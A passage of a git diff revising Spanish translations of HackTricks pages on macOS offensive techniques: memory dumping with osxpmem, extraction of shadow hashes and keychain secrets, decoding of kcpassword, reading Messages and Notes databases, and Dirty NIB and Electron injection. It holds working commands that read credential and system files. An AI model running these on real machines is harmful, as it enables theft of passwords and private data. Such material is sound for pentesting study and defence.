sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem @@ -37,14 +44,14 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem #Dump aff4 format sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 ``` -Si encuentras este error: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Puedes solucionarlo haciendo: +Si encuentras este error: `osxpmem.app/MacPmem.kext no se pudo cargar - (libkern/kext) fallo de autenticación (propietario/permisos de archivo); verifica los registros del sistema/núcleo en busca de errores o intenta con kextutil(8)` Puedes solucionarlo haciendo: ```bash sudo cp -r osxpmem.app/MacPmem.kext "/tmp/" sudo kextutil "/tmp/MacPmem.kext" #Allow the kext in "Security & Privacy --> General" sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -**Otros errores** podrían solucionarse **permitiendo la carga del kext** en "Seguridad y Privacidad --> General", simplemente **permítelo**. +**Otros errores** podrían solucionarse **permitiendo la carga del kext** en "Seguridad y privacidad --> General", simplemente **permítelo**. También puedes usar este **oneliner** para descargar la aplicación, cargar el kext y volcar la memoria: @@ -53,16 +60,18 @@ También puedes usar este **oneliner** para descargar la aplicación, cargar el sudo su cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip; unzip osxpmem-2.1.post4.zip; chown -R root:wheel osxpmem.app/MacPmem.kext; kextload osxpmem.app/MacPmem.kext; osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` +{% endcode %} +
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index 6ca558d39..67d616521 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -1,48 +1,43 @@ -# Ubicaciones Sensibles en macOS +# Ubicaciones Sensibles de macOS
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
## Contraseñas -### Contraseñas Shadow +### Contraseñas de Sombra -La contraseña shadow se almacena con la configuración del usuario en plists ubicados en **`/var/db/dslocal/nodes/Default/users/`**.\ +La contraseña de sombra se almacena con la configuración del usuario en plists ubicados en **`/var/db/dslocal/nodes/Default/users/`**.\ El siguiente oneliner se puede utilizar para volcar **toda la información sobre los usuarios** (incluida la información del hash): {% code overflow="wrap" %} ```bash for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done ``` -```bash -dscl . list /Users | grep -v '^_' | while read user; do echo -n "$user:"; dscl . -read /Users/$user dsAttrTypeNative:ShadowHashData | tr -d ' ' | cut -d '[' -f2 | cut -d ']' -f1 | xxd -r -p | base64; echo; done -``` {% endcode %} -[**Scripts como este**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este**](https://github.com/octomagon/davegrohl.git) pueden usarse para transformar el hash al **formato hashcat**. +[**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este otro**](https://github.com/octomagon/davegrohl.git) se pueden utilizar para transformar el hash al **formato hashcat**. -Una alternativa de una sola línea que volcará las credenciales de todas las cuentas que no son de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512): +Una alternativa en una sola línea que volcará credenciales de todas las cuentas que no sean de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512): {% code overflow="wrap" %} ```bash sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done' ``` -{% endcode %} +### Volcado de llavero -### Volcado de Keychain - -Tenga en cuenta que al usar el binario security para **volcar las contraseñas descifradas**, se le pedirá al usuario varias veces que permita esta operación. +Tenga en cuenta que al utilizar el binario de seguridad para **volcar las contraseñas descifradas**, se le pedirá al usuario que permita esta operación en varias ocasiones. ```bash #security secuirty dump-trust-settings [-s] [-d] #List certificates @@ -54,42 +49,44 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be ### [Keychaindump](https://github.com/juuso/keychaindump) {% hint style="danger" %} -Basado en este comentario [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760), parece que estas herramientas ya no funcionan en Big Sur. +Según este comentario [juuso/keychaindump#10 (comentario)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) parece que estas herramientas ya no funcionan en Big Sur. {% endhint %} -El atacante aún necesita obtener acceso al sistema y escalar a privilegios de **root** para ejecutar **keychaindump**. Este enfoque tiene sus propias condiciones. Como se mencionó anteriormente, **al iniciar sesión, tu llavero se desbloquea por defecto** y permanece desbloqueado mientras usas tu sistema. Esto es por conveniencia para que el usuario no necesite ingresar su contraseña cada vez que una aplicación desee acceder al llavero. Si el usuario ha cambiado esta configuración y ha elegido bloquear el llavero después de cada uso, keychaindump ya no funcionará; depende de un llavero desbloqueado para funcionar. +### Descripción de Keychaindump -Es importante entender cómo Keychaindump extrae contraseñas de la memoria. El proceso más importante en esta transacción es el **proceso "securityd"**. Apple se refiere a este proceso como un **daemon de contexto de seguridad para autorización y operaciones criptográficas**. Las bibliotecas de desarrolladores de Apple no dicen mucho al respecto; sin embargo, nos dicen que securityd maneja el acceso al llavero. En su investigación, Juuso se refiere a **la clave necesaria para descifrar el llavero como "La Clave Maestra"**. Se deben realizar una serie de pasos para adquirir esta clave, ya que se deriva de la contraseña de inicio de sesión del usuario en OS X. Si quieres leer el archivo del llavero debes tener esta clave maestra. Los siguientes pasos se pueden realizar para adquirirla. **Realiza un escaneo del montón de securityd (keychaindump hace esto con el comando vmmap)**. Las posibles claves maestras se almacenan en un área marcada como MALLOC_TINY. Puedes ver las ubicaciones de estos montones tú mismo con el siguiente comando: +Se ha desarrollado una herramienta llamada **keychaindump** para extraer contraseñas de los llaveros de macOS, pero enfrenta limitaciones en versiones más recientes de macOS como Big Sur, como se indica en una [discusión](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). El uso de **keychaindump** requiere que el atacante obtenga acceso y escale privilegios a **root**. La herramienta explota el hecho de que el llavero se desbloquea por defecto al iniciar sesión del usuario por conveniencia, permitiendo que las aplicaciones accedan a él sin requerir la contraseña del usuario repetidamente. Sin embargo, si un usuario opta por bloquear su llavero después de cada uso, **keychaindump** se vuelve ineficaz. + +**Keychaindump** opera apuntando a un proceso específico llamado **securityd**, descrito por Apple como un demonio para operaciones de autorización y criptográficas, crucial para acceder al llavero. El proceso de extracción implica identificar una **Clave Maestra** derivada de la contraseña de inicio de sesión del usuario. Esta clave es esencial para leer el archivo del llavero. Para localizar la **Clave Maestra**, **keychaindump** escanea el montón de memoria de **securityd** utilizando el comando `vmmap`, buscando posibles claves dentro de áreas marcadas como `MALLOC_TINY`. El siguiente comando se utiliza para inspeccionar estas ubicaciones de memoria: ```bash sudo vmmap | grep MALLOC_TINY ``` -**Keychaindump** buscará en los montones devueltos ocurrencias de 0x0000000000000018. Si el valor de 8 bytes siguiente apunta al montón actual, hemos encontrado una posible clave maestra. A partir de aquí, todavía es necesario realizar un poco de desofuscación, lo cual se puede ver en el código fuente, pero como analista, la parte más importante a tener en cuenta es que los datos necesarios para descifrar esta información se almacenan en la memoria del proceso de securityd. Aquí hay un ejemplo de la salida de keychain dump. +Después de identificar posibles claves maestras, **keychaindump** busca a través de los montones de memoria un patrón específico (`0x0000000000000018`) que indica un candidato para la clave maestra. Se requieren pasos adicionales, incluida la deofuscación, para utilizar esta clave, como se describe en el código fuente de **keychaindump**. Los analistas que se centren en esta área deben tener en cuenta que los datos cruciales para descifrar el llavero se almacenan en la memoria del proceso **securityd**. Un ejemplo de comando para ejecutar **keychaindump** es: ```bash sudo ./keychaindump ``` ### chainbreaker -[**Chainbreaker**](https://github.com/n0fate/chainbreaker) puede usarse para extraer los siguientes tipos de información de un llavero de OSX de manera forense: +[**Chainbreaker**](https://github.com/n0fate/chainbreaker) se puede utilizar para extraer los siguientes tipos de información de un llavero de OSX de manera forense: -* Contraseña del llavero en forma de hash, adecuada para cracking con [hashcat](https://hashcat.net/hashcat/) o [John the Ripper](https://www.openwall.com/john/) +* Contraseña de llavero con hash, adecuada para descifrar con [hashcat](https://hashcat.net/hashcat/) o [John the Ripper](https://www.openwall.com/john/) * Contraseñas de Internet -* Contraseñas Genéricas -* Claves Privadas -* Claves Públicas +* Contraseñas genéricas +* Claves privadas +* Claves públicas * Certificados X509 -* Notas Seguras +* Notas seguras * Contraseñas de Appleshare -Dada la contraseña de desbloqueo del llavero, una clave maestra obtenida usando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un archivo de desbloqueo como SystemKey, Chainbreaker también proporcionará contraseñas en texto plano. +Con la contraseña de desbloqueo del llavero, una clave maestra obtenida usando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un archivo de desbloqueo como SystemKey, Chainbreaker también proporcionará contraseñas en texto plano. -Sin uno de estos métodos para desbloquear el llavero, Chainbreaker mostrará toda la otra información disponible. +Sin uno de estos métodos para desbloquear el llavero, Chainbreaker mostrará toda la información disponible. -### **Volcar claves del llavero** +#### **Volcar claves del llavero** ```bash #Dump all keys of the keychain (without the passwords) python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain ``` -### **Extraer claves del llavero (con contraseñas) con SystemKey** +#### **Volcar claves del llavero (con contraseñas) con SystemKey** ```bash # First, get the keychain decryption key # To get this decryption key you need to be root and SIP must be disabled @@ -97,7 +94,7 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo ## Use the previous key to decrypt the passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -### **Volcado de claves del llavero (con contraseñas) mediante la rotura del hash** +#### **Volcar claves del llavero (con contraseñas) crackeando el hash** ```bash # Get the keychain hash python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain @@ -106,7 +103,7 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt # Use the key to decrypt the passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -### **Volcar claves del llavero (con contraseñas) con volcado de memoria** +#### **Volcar claves del llavero (con contraseñas) con volcado de memoria** [Siga estos pasos](..#dumping-memory-with-osxpmem) para realizar un **volcado de memoria** ```bash @@ -117,23 +114,23 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump #Try to extract the passwords using the extracted keychain passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` -### **Volcar claves del llavero (con contraseñas) utilizando la contraseña del usuario** +#### **Volcar claves del llavero (con contraseñas) usando la contraseña de usuario** -Si conoces la contraseña del usuario, puedes usarla para **volcar y descifrar llaveros que pertenecen al usuario**. +Si conoces la contraseña del usuario, puedes usarla para **volcar y descifrar los llaveros que pertenecen al usuario**. ```bash #Prompt to ask for the password python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db ``` ### kcpassword -El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **habilitado el inicio de sesión automático**. Por lo tanto, el usuario será automáticamente ingresado sin que se le pida una contraseña (lo cual no es muy seguro). +El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **habilitado el inicio de sesión automático**. Por lo tanto, el usuario iniciará sesión automáticamente sin que se le pida una contraseña (lo cual no es muy seguro). -La contraseña se almacena en el archivo **`/etc/kcpassword`** xoreada con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña del usuario es más larga que la clave, la clave se reutilizará.\ -Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d). +La contraseña se almacena en el archivo **`/etc/kcpassword`** xored con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña de los usuarios es más larga que la clave, la clave se reutilizará.\ +Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d). -## Información Interesante en Bases de Datos +## Información interesante en bases de datos -### Messages +### Mensajes ```bash sqlite3 $HOME/Library/Messages/chat.db .tables sqlite3 $HOME/Library/Messages/chat.db 'select * from message' @@ -145,7 +142,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets' Puedes encontrar los datos de Notificaciones en `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` -La mayor parte de la información interesante estará en **blob**. Por lo tanto, necesitarás **extraer** ese contenido y **transformarlo** a un formato **legible por humanos** o usar **`strings`**. Para acceder a él puedes hacer: +La mayoría de la información interesante estará en **blob**. Por lo tanto, necesitarás **extraer** ese contenido y **transformarlo** a un formato **legible** para humanos o usar **`strings`**. Para acceder a ello, puedes hacer: {% code overflow="wrap" %} ```bash @@ -155,24 +152,24 @@ strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i ### Notas Las **notas** de los usuarios se pueden encontrar en `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` - -{% code overflow="wrap" %} ```bash sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables #To dump it in a readable format: for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done ``` +{% endcode %} +
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de AWS de HackTricks)! Otras formas de apoyar a HackTricks: -* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md index b796ba07c..eabf21bee 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md @@ -14,26 +14,26 @@ Otras formas de apoyar a HackTricks:
-**Para más detalles sobre la técnica, consulta la publicación original en: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/)**. Aquí tienes un resumen: +**Para más detalles sobre la técnica, consulta la publicación original en: [https://blog.xpnsec.com/dirtynib/**](https://blog.xpnsec.com/dirtynib/).** Aquí tienes un resumen: Los archivos NIB, parte del ecosistema de desarrollo de Apple, están destinados a definir **elementos de interfaz de usuario** y sus interacciones en aplicaciones. Incluyen objetos serializados como ventanas y botones, y se cargan en tiempo de ejecución. A pesar de su uso continuo, Apple ahora recomienda Storyboards para una visualización más completa del flujo de la interfaz de usuario. -### Preocupaciones de seguridad con los archivos NIB +### Preocupaciones de Seguridad con Archivos NIB Es crítico tener en cuenta que los **archivos NIB pueden ser un riesgo de seguridad**. Tienen el potencial de **ejecutar comandos arbitrarios**, y las alteraciones a los archivos NIB dentro de una aplicación no impiden que Gatekeeper ejecute la aplicación, lo que representa una amenaza significativa. ### Proceso de Inyección de Dirty NIB #### Creación y Configuración de un Archivo NIB -1. **Configuración inicial**: +1. **Configuración Inicial**: - Crea un nuevo archivo NIB usando XCode. - Agrega un objeto a la interfaz, configurando su clase como `NSAppleScript`. - Configura la propiedad inicial `source` a través de Atributos de Tiempo de Ejecución Definidos por el Usuario. 2. **Gadget de Ejecución de Código**: -- La configuración facilita la ejecución de AppleScript a pedido. +- La configuración facilita la ejecución de AppleScript a demanda. - Integra un botón para activar el objeto `Apple Script`, activando específicamente el selector `executeAndReturnError:`. 3. **Pruebas**: -- Un Apple Script simple con fines de prueba: +- Un simple Apple Script para propósitos de prueba: ```bash set theDialogText to "PWND" display dialog theDialogText @@ -46,7 +46,7 @@ display dialog theDialogText - Inicia la aplicación para evitar problemas con Gatekeeper y cachéala. 2. **Sobrescribiendo el Archivo NIB**: -- Reemplaza un archivo NIB existente (por ejemplo, About Panel NIB) con el archivo DirtyNIB creado. +- Reemplaza un archivo NIB existente (por ejemplo, Panel Acerca de NIB) con el archivo DirtyNIB creado. 3. **Ejecución**: - Desencadena la ejecución interactuando con la aplicación (por ejemplo, seleccionando el elemento de menú `Acerca de`). @@ -62,10 +62,10 @@ display dialog theDialogText - Es posible identificar aplicaciones no protegidas por Restricciones de Inicio y apuntarlas para la inyección de archivos NIB. ### Protecciones Adicionales de macOS -Desde macOS Sonoma en adelante, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, los métodos anteriores involucraban: +Desde macOS Sonoma en adelante, las modificaciones dentro de los paquetes de aplicaciones están restringidas. Sin embargo, métodos anteriores involucraban: 1. Copiar la aplicación a una ubicación diferente (por ejemplo, `/tmp/`). -2. Renombrar directorios dentro del paquete de la aplicación para evitar las protecciones iniciales. +2. Renombrar directorios dentro del paquete de la aplicación para evitar protecciones iniciales. 3. Después de ejecutar la aplicación para registrarse con Gatekeeper, modificar el paquete de la aplicación (por ejemplo, reemplazando MainMenu.nib con Dirty.nib). 4. Renombrar los directorios nuevamente y volver a ejecutar la aplicación para ejecutar el archivo NIB inyectado. -**Nota**: Las actualizaciones recientes de macOS han mitigado este exploit al evitar modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, lo que hace que el exploit sea ineficaz. +**Nota**: Actualizaciones recientes de macOS han mitigado esta vulnerabilidad al evitar modificaciones de archivos dentro de los paquetes de aplicaciones después de la caché de Gatekeeper, volviendo la vulnerabilidad ineficaz. diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index 3c15397df..5cbeb374a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -1,41 +1,41 @@ -# Inyección en Aplicaciones Electron de macOS +# Inyección en Aplicaciones de Electron en macOS
-Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)! +Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)! Otras formas de apoyar a HackTricks: -* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! -* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos +* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! +* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Información Básica -Si no sabes qué es Electron, puedes encontrar [**mucha información aquí**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Pero por ahora, solo debes saber que Electron ejecuta **node**.\ +Si no sabes qué es Electron, puedes encontrar [**mucha información aquí**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Pero por ahora solo debes saber que Electron ejecuta **node**.\ Y node tiene algunos **parámetros** y **variables de entorno** que se pueden usar para **hacer que ejecute otro código** aparte del archivo indicado. ### Fusibles de Electron -Estas técnicas se discutirán a continuación, pero recientemente Electron ha agregado varias **banderas de seguridad para prevenirlas**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y estos son los que se utilizan para **prevenir** que las aplicaciones Electron en macOS **carguen código arbitrario**: +Estas técnicas se discutirán a continuación, pero en tiempos recientes Electron ha añadido varios **indicadores de seguridad para prevenirlos**. Estos son los [**Fusibles de Electron**](https://www.electronjs.org/docs/latest/tutorial/fuses) y estos son los que se utilizan para **evitar** que las aplicaciones de Electron en macOS carguen **código arbitrario**: -* **`RunAsNode`**: Si está deshabilitado, previene el uso de la variable de entorno **`ELECTRON_RUN_AS_NODE`** para inyectar código. -* **`EnableNodeCliInspectArguments`**: Si está deshabilitado, parámetros como `--inspect`, `--inspect-brk` no serán respetados. Evitando así la inyección de código. -* **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el archivo **`asar`** cargado será **validado** por macOS. **Previniendo** de esta manera la **inyección de código** al modificar el contenido de este archivo. -* **`OnlyLoadAppFromAsar`**: Si esto está habilitado, en lugar de buscar cargar en el siguiente orden: **`app.asar`**, **`app`** y finalmente **`default_app.asar`**. Solo verificará y usará app.asar, asegurando así que cuando se **combine** con el fusible **`embeddedAsarIntegrityValidation`** sea **imposible** **cargar código no validado**. -* **`LoadBrowserProcessSpecificV8Snapshot`**: Si está habilitado, el proceso del navegador utiliza el archivo llamado `browser_v8_context_snapshot.bin` para su instantánea V8. +* **`RunAsNode`**: Si está deshabilitado, evita el uso de la variable de entorno **`ELECTRON_RUN_AS_NODE`** para inyectar código. +* **`EnableNodeCliInspectArguments`**: Si está deshabilitado, los parámetros como `--inspect`, `--inspect-brk` no serán respetados. Evitando de esta manera la inyección de código. +* **`EnableEmbeddedAsarIntegrityValidation`**: Si está habilitado, el archivo **`asar`** cargado será validado por macOS. **Evitando de esta manera la inyección de código** al modificar el contenido de este archivo. +* **`OnlyLoadAppFromAsar`**: Si está habilitado, en lugar de buscar para cargar en el siguiente orden: **`app.asar`**, **`app`** y finalmente **`default_app.asar`**. Solo verificará y usará app.asar, asegurando así que cuando se **combine** con el fusible **`embeddedAsarIntegrityValidation`** sea **imposible** cargar código no validado. +* **`LoadBrowserProcessSpecificV8Snapshot`**: Si está habilitado, el proceso del navegador utiliza el archivo llamado `browser_v8_context_snapshot.bin` para su instantánea de V8. Otro fusible interesante que no evitará la inyección de código es: -* **EnableCookieEncryption**: Si está habilitado, la tienda de cookies en disco está cifrada utilizando claves de criptografía a nivel de sistema operativo. +* **EnableCookieEncryption**: Si está habilitado, el almacenamiento de cookies en disco se cifra utilizando claves de criptografía a nivel de sistema operativo. -### Verificando los Fusibles de Electron +### Verificación de los Fusibles de Electron -Puedes **verificar estas banderas** de una aplicación con: +Puedes **verificar estas banderas** desde una aplicación con: ```bash npx @electron/fuses read --app /Applications/Slack.app @@ -49,47 +49,47 @@ EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` -### Modificación de los Fusibles de Electron +### Modificación de Fusibles de Electron -Como mencionan los [**documentos**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fusibles de Electron** está configurada dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. +Como mencionan en la [**documentación**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), la configuración de los **Fusibles de Electron** se encuentra dentro del **binario de Electron** que contiene en algún lugar la cadena **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. -En 